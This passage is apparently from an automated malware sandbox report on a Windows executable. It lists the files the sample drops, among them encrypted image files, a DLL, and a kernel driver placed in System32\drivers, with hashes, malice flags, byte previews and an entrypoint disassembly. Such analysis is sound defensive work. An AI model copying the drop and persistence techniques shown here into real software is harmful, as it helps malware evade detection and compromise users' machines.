Preview:	.V.Wf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW11111111111111111111.BTE5k1=I=======.NXI9g%&A&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GBl(2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%MQQU&ozzHH..9xddI..I!('.TFA[u:72KG\Q".2>S.xq<\D@n0'''''''''''''''''''''''''''''OSSW$mxxJJ..;zffK..K#%,VDCYw850IE^S }0<Q.zs>^FAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&....&&&&....&&&&....&&&9\A\999999999999999999999M[ZV$3e.-goooooooooooooooooooooooooooooooooooooo...A23"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45(-^.[N6><!K!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-50[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	55085
Entropy (8bit):	7.99273647746538
Encrypted:	true
SSDEEP:	1536:puwkqL5y4p4KnRWlENc3PGdLLv/PJctIJPc+pifyC:kQM4+B/MLL/PmaG
MD5:	DC44AE348E6A74B3A74871020FDFAC74
SHA1:	B223020A5F82FF15FD5E4930477F38F34C9CB919
SHA-256:	48F258037BE0FFE663DA3BCD47DBA22094CC31940083D9E18A71882BDC1ECDB8
SHA-512:	5FB13A8CE2206119C76325504DEF61D4277A73D71D79157AE564F326D6FC18080218633CE7C708F31A81D6CD1A5AD8A903CFE1CC0C57183B4809A9C12E32A429
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~..a.....=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FOM-51[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	4859125
Entropy (8bit):	7.999956261017207
Encrypted:	true
SSDEEP:	98304:iwS8fBFQmSDP3eB/FsE7wRnIdq//xvpY/gMQ+nQxcweXxpuQ6SutPQNCG0o:iwSgTQfFAwdCqRvpk5QvxcwgXMSutTo
MD5:	EE6CA3EEA7F9B1C81059AEF570A28C02
SHA1:	14EFBF498356644D9B1327407E3F03E1BFBEA363
SHA-256:	A2065EA035C4E391C0FD897A932DCFF34D2CCD34579844C732F3577BC443B196
SHA-512:	563E7D7AB4A94505F1EFA5931F685A45D89CCB27A97593BF69C668AAA747C9511C8BE2AADA2E4DF3E9AB02559B564C699A8A9501B70420FAC3556758E29478D5
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\drops[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37274
Entropy (8bit):	7.991781062764932
Encrypted:	true
SSDEEP:	768:6uBASoT9gu8yCOpS/DCNuoaa7SOjrX+ACdA7EtGKDRklnvga371DNpnN7s:fGSfyxENa7ZCRtxylnvgAVNI
MD5:	6D4DEB9526F3973DE0F9DCE9392F8EA7
SHA1:	520128FB9BAB7064BEA992E4427B924073E58C0E
SHA-256:	B415D73DC6CBEEE59736ADD1AF397B6982BDB2B3A9E994797EE6AF5979E58FD1
SHA-512:	F07E0DAEEE5C54BC8DB462630F46A339D9ED0AF346BAB113B4EC7FD2BC463AFC04CBD0FDFC8D9F54528B7127AA7735575A255B85F2D0B3CCD518FC5DC39BA447
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-51[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	4859125
Entropy (8bit):	7.999956261017207
Encrypted:	true
SSDEEP:	98304:iwS8fBFQmSDP3eB/FsE7wRnIdq//xvpY/gMQ+nQxcweXxpuQ6SutPQNCG0o:iwSgTQfFAwdCqRvpk5QvxcwgXMSutTo
MD5:	EE6CA3EEA7F9B1C81059AEF570A28C02
SHA1:	14EFBF498356644D9B1327407E3F03E1BFBEA363
SHA-256:	A2065EA035C4E391C0FD897A932DCFF34D2CCD34579844C732F3577BC443B196
SHA-512:	563E7D7AB4A94505F1EFA5931F685A45D89CCB27A97593BF69C668AAA747C9511C8BE2AADA2E4DF3E9AB02559B564C699A8A9501B70420FAC3556758E29478D5
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FOM-52[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5062442
Entropy (8bit):	7.999518892518095
Encrypted:	true
SSDEEP:	98304:GIusCrIENkeXPV97kqmCf4P48E37aREUXr7VYyUOhez2IlpmURniNmJ:Xngv7NmCAPLTREQVb8/RomJ
MD5:	70C21DA900796B279A09040B00953E40
SHA1:	7CD3690B1FDDE033CD47E657FC4FC3A423DF716F
SHA-256:	901330243EF0F7F0AAE4F610693DA751873E5B632E5F39B98E3DB64859D78CBC
SHA-512:	851F4ED843F5D47C93D6C5A7D1895A674B6448631B567A0CCB2DF5873E4A5E722F28ECFC4D0D3220A86309481F9793FCDDA4F89BD993FB79CD09DBED29423752
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-50[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	55085
Entropy (8bit):	7.99273647746538
Encrypted:	true
SSDEEP:	1536:puwkqL5y4p4KnRWlENc3PGdLLv/PJctIJPc+pifyC:kQM4+B/MLL/PmaG
MD5:	DC44AE348E6A74B3A74871020FDFAC74
SHA1:	B223020A5F82FF15FD5E4930477F38F34C9CB919
SHA-256:	48F258037BE0FFE663DA3BCD47DBA22094CC31940083D9E18A71882BDC1ECDB8
SHA-512:	5FB13A8CE2206119C76325504DEF61D4277A73D71D79157AE564F326D6FC18080218633CE7C708F31A81D6CD1A5AD8A903CFE1CC0C57183B4809A9C12E32A429
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~..a.....=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-53[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	366410
Entropy (8bit):	7.375315637594966
Encrypted:	false
SSDEEP:	6144:XC/wwzn9iJzBFsJmUSmfXVz7pB+iMuVrt5DY:9ws7FsJmUSmd7pBpMgR58
MD5:	DA1D5EB665D3AAD523BE59415E6449ED
SHA1:	40C310E82035381410B83E4F1DA0A4410FEB8FE6
SHA-256:	F919634AC7E0877663FFF06EA9E430B530073D6E79EEE543D02331F4DFF64375
SHA-512:	6F179A166126C97444920636B584FB0BA4E9596A659921A2BCAA80E7DE094A87402D3E2B6D8DA8797045D7E22C3D37E6CED2A8E137E0387A1320D631B139FD36
Malicious:	false
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE.................IZ....OQPSS.U.WX..[..&6.ab.)eLghibkinoouqrsuuvw2zy{}}~.............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\f[1].dat

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.5851931774575325
Encrypted:	false
SSDEEP:	6:JRSscjAQ7F3Y+ZcRC60rdimzYFAQT7LE/o2xjC:fSscjHRY+ZcRAdimzo/OY
MD5:	E54C4296F011EC91D935AA353C936E34
SHA1:	53A3313D40696E87C9B8CE2BE7E67BE49DD34C20
SHA-256:	81FF16AEDF9C5225CE8A03C0608CC3EA417795D98345699F2C240A0D67C6C33D
SHA-512:	5D1FBA60BE82A33341E5B9E7D3C1E7B0DCC9A41B4C1F97F2930141A808D62AF56D8697CB0D2FD4894A6080DF98A3E4EEF9D98A6003C292C588F547E1C6F84DE1
Malicious:	false
Preview:	.V.Wf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW11111111111111111111.BTE5k1=I=======.NXI9g%&A&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GBl(2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%MQQU&ozzHH..9xddI..I!('.TFA[u:72KG\Q".2>S.xq<\D@n0'''''''''''''''''''''''''''''OSSW$mxxJJ..;zffK..K#%,VDCYw850IE^S }0<Q.zs>^FAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&....&&&&....&&&&....&&&9\A\999999999999999999999M[ZV$3e.-goooooooooooooooooooooooooooooooooooooo...A23"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45(-^.[N6><!K!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

C:\Users\user\Documents\77WmQZ.exe

Download File

Process:	C:\Users\user\Desktop\2834573-3676874985.02.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133136
Entropy (8bit):	6.350273548571922
Encrypted:	false
SSDEEP:	3072:NtmH5WKiSogv0HSCcTwk7ZaxbXq+d1ftrt+armpQowbFqD:NYZEHG0yfTPFas+dZZrL9MD
MD5:	D3709B25AFD8AC9B63CBD4E1E1D962B9
SHA1:	6281A108C7077B198241159C632749EEC5E0ECA8
SHA-256:	D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948
SHA-512:	625F46D37BCA0F2505F46D64E7706C27D6448B213FE8D675AD6DF1D994A87E9CEECD7FB0DEFF35FDDD87805074E3920444700F70B943FAB819770D66D9E6B7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.E.7w+.7w+.7w+...V.?w+...E..w+...F.Qw+...P.5w+.>...>w+.7w..w+...Y.>w+...W.6w+...S.6w+.Rich7w+.........PE..d...Kd.]..........#................P].........@............................................................................................,...x...............,........H...........D...............................................@..@............................text...)......................... ..`.rdata..x_...@...`..................@..@.data....:..........................@....pdata..,...........................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\MsMpList.dat

Download File

Process:	C:\Users\user\Desktop\2834573-3676874985.02.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3889557
Entropy (8bit):	7.999938750134498
Encrypted:	true
SSDEEP:	98304:DAnkiLOZS/hpXbdHpPcG59BO8NQXIeXXv5L4f2fN3yQWF+A:cndLOZS/DtpPJRO8OHBL4f2UQI+A
MD5:	2620F223AAFF206E1E3801AB350F8A03
SHA1:	7C1E1D559347C59C350E29575D2928F54680610F
SHA-256:	74DD39167C419AA89A2DC494AC6AF2DF041AA1A0393DDDEE12A2AAAEFE025DAC
SHA-512:	1637C89DCD14919D405E4F3F49E6DAD8BC7C4D30BD95411FFC6115DD049101D7BFFD705399EA4C7C4FE7016C10E9F8CC9E93A996F2545D5283F1B7707C4B7F52
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.QJ.K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\Documents\WordpadFilter.db

Download File

Process:	C:\Users\user\Desktop\2834573-3676874985.02.exe
File Type:	GIF image data, version 89a, 10 x 10
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	7.978965865518847
Encrypted:	false
SSDEEP:	192:vBue6hKvTlByz2GqpoPTgyXrByFCt4lXp9tyey2Q0l:vBuNhyTlBU2dp+1XrBuCgp9vU0l
MD5:	740C0A970128637D73A92387CBED0C73
SHA1:	61BF032631C2479527B41B6B71EB57352E084857
SHA-256:	9AD12F9FB15BDB996A2DCBC61E6506DA072F16922760D152BB2C9D5413716710
SHA-512:	D7E62D469F98D5BDB64F1CE6490E1C285CFFAF0CD88653A28470C21BB450B8DA225A94CF91FBA1D9F9D6694FC11C9A9B229DB8FF8D279BAEC7A41CA35B1EC198
Malicious:	false
Preview:	GIF89a.......,...........;.;G_fx5.#DV..g..}A/...l=.2......'o...!.....e.,t..o8.^...B^x..6IX.DC.Oa..../_...n$_.y..+jb..r...Y4/Rv.....(;....$...g..........~.IN ...-<R7....eZ..q4.....~...}....~t<......\|}....x.)U3.`U..s....W..WY..w+o-[..{..l..i`.:.......L'.>...$. .a.x.2#y_(9....d,....=n...%...c.........dq.nfLI....!1..2...`.,...~....)w.5E 1.V...0."...cu...p........^\|@.-w..+...M.(.GK.y}.N.........}.....-..e.......X...GE.\|.-._..*.M.....Mc........9/..fQ.Z.....W.....s...........k?C.q.u.-...Q..."..kt..A..128.......7#...~....1.`..:C.(.C.<y.(..<..'..+.!&.....r..I.....d...W.....-.'.Ec`Nv.8).....!....?.....\..N.3..D...U.....(..#sdY..D"...p.>.W.Q...}.. ..2.A('Q\_y...\|..Az..JO.B.A..Q05.)..Q..zd..V..l......S.....dS.x....z^..z...).a.....4.G..........M.,..a..U...\....G...$...Q.7...@.x...x.s..R..0.-3...).x.D..f.I..n.....}..{.p.q.%,.lF.f.Up..UM..Y..1............R.....F.._....Y..u...e^.c...f.'..U.W1g..e#J...Z.W.....w.[...........R.?.m......"@.f..V..fxI

C:\Users\user\Documents\vselog.dll

Download File

Process:	C:\Users\user\Desktop\2834573-3676874985.02.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.002050422503316
Encrypted:	false
SSDEEP:	1536:Jd4E7qItA4nbQ0R3rh4Q8/0fp0uQ4S8S7YDLbnTPtrTzvesW7dj9dl4Cp52F2:Jf7qG3Gyp0p4ZmGLbTPJT7y7aCp5g2
MD5:	9A3C65409E33FC5F8A906A3C917D8B1B
SHA1:	3FDDFCF24AABCE1567BC9CA38AC5834E8C996F0E
SHA-256:	645FB679418C2B52DB17436DEED53CB4C318B5D12C1BB10CA769B7CCBD717DDB
SHA-512:	9EDEB458F8DC2BB7F2C1297C75F1820B0214E9762662F7F9EC122FF8FB6AD6B4D8A5B0252C8CD991D649F4B4E43A56301A50F6EEFAF611D161C565692D08A2AD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... .E .E .Ek..D%.Ek..D..Ek..D*.E0N.D).E0N.D..E0N.D..Ek..D#.E .EB.EhO.D!.EhO.D!.EhOHE!.E . E!.EhO.D!.ERich .E........PE..d....w.g.........." ...).....................................................0............`.........................................`...........(.......H.................... ..x... ...8...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...0...........................@....pdata..............................@..@.rsrc...H...........................@..@.reloc..x.... ......................@..B........................................................................................................................................................................................................................................

C:\Windows\System32\drivers\189atohci.sys

Download File

Process:	C:\Users\user\Desktop\2834573-3676874985.02.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	6.229119220768645
Encrypted:	false
SSDEEP:	384:L3YUY30d1Kgf4AtcTmwZ/22a97C5ohYh3IB96Oys2+l0skiM0HMFrba8no0ceD/A:LOUkgfdZ9pRyv+uPzCMHo3q4tDgh6
MD5:	3BEB022DDB4B86F556FD083B5243ACA3
SHA1:	CDB38095C55E754712390691424BE9665ED3B3C3
SHA-256:	2F243616D291938A12FFB99AF138C0F5622A79D62BBA3C4EB7CC412FFD9AA57C
SHA-512:	0D435E179F9B881645D429B078159974B03E4EA5D4108B5CB71ABE3DC3375B78D5EB87D3A3874F190EA6E892EEAE61C8945433301C01C3E55C05E3DCB53CBFBD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ri...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:Rich...:........................PE..d....S.V.........."......:..........l...............................................mB..........................................................(............`.......P..p.......D....A...............................................@...............................text....,.......................... ..h.rdata.......@.......2..............@..H.data........P.......:..............@....pdata.......`.......<..............@..HPAGE....l....p.......>.............. ..`INIT.................@.............. ....rsrc................J..............@..B.reloc...............N..............@..B........................................................................................................................................................................................

C:\xxxx.ini

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

\Device\Mup\localhost\pipe\atsvc

Download File

Process:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	297
Entropy (8bit):	4.44209774002662
Encrypted:	false
SSDEEP:	3:ri9K0/ldl//lll1siQg4d1ywsiQI5kZt8jtl/zi8tkHsl8/lP92lU8IAuUWKznlb:ri9TDTwPYtyjtOsNaG4oikCX4
MD5:	7769F9E7A85E548BAF322579D034E523
SHA1:	EF16B46B7C12B63A72F793563B317D513144787E
SHA-256:	5EF1B334AD76ABE083B7928D17A61572470AFD935075858974E46EE77663CD5D
SHA-512:	83094B4F779168EF674EA095EB2BE1CD5CD4374B43B937FF2E3CD3863FBEE6DA6E80B8235D81EB03E2B2A445A08FDACA648881F485FFE3C9F6FA759CBE4677BA
Malicious:	false
Preview:	..........9.....................IY..D@.$.621.......]..........+.H`........IY..D@.$.621......,..l..@E....................NTLMSSP.............0.......(.....aJ....user-PCWORKGROUP........t.X.................NTLMSSP.........X.......X.......X.......X.......X.......X...5....aJ....?b..V.-g$.."...W

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	0.10585470395733182
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2834573-3676874985.02.exe
File size:	30'942'720 bytes
MD5:	1c8d330d91bca0e74dae88bfc72d0710
SHA1:	545085bcc3b120c576449ce3047c7b85549d411b
SHA256:	151cbea2436a5ed2cd865fa3c6bcbf6abf0a1cb0166a1c1b49c6aa62a595eb2f
SHA512:	7a5f1a13cf8953f894ab643110f9eea12d724909991a1a466aa8b2dc8155352ca5fcc28f666372b7d9ddd963056939e439750d13c2e4a07fd50af388cdda92cc
SSDEEP:	3072:843rTYT6Xyfd+ux9IfBqsm9N/p3gvm7rCHvEJbuf6TRfSxdoU200OwElMd5VE:xYT6E0cmYsm9NN+H8JufQRfSjbXwEl3
TLSH:	F1679E0B72A132F9D176823884639535F776BC7117219B6F02E44E6AFF236909D3AB70
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#..\B{.\B{.\B{.H)..WB{.H)x.YB{.H)~..B{.\B{.]B{.Z...LB{.Z.x.MB{.Z.~.wB{.H)z.QB{.\Bz.5B{.6.~.]B{.6...]B{.\B..]B{.6.y.]B{.Rich\B{

File Icon


Icon Hash:	7dfcfb9797fa7000

Static PE Info

General

Entrypoint:	0x140004e88
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0xEC4A930B [Tue Aug 16 05:18:03 2095 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	cce758939b5a01c33ff2bf19d533d4af

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F6598502C60h
dec eax
add esp, 28h
jmp 00007F65984FEA95h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
jmp 00007F6598502861h
dec eax
mov ecx, ebx
call 00007F659850719Eh
test eax, eax
je 00007F6598502865h
dec eax
mov ecx, ebx
call 00007F65985071F6h
dec eax
test eax, eax
je 00007F6598502839h
dec eax
add esp, 20h
pop ebx
ret
dec eax
cmp ebx, FFFFFFFFh
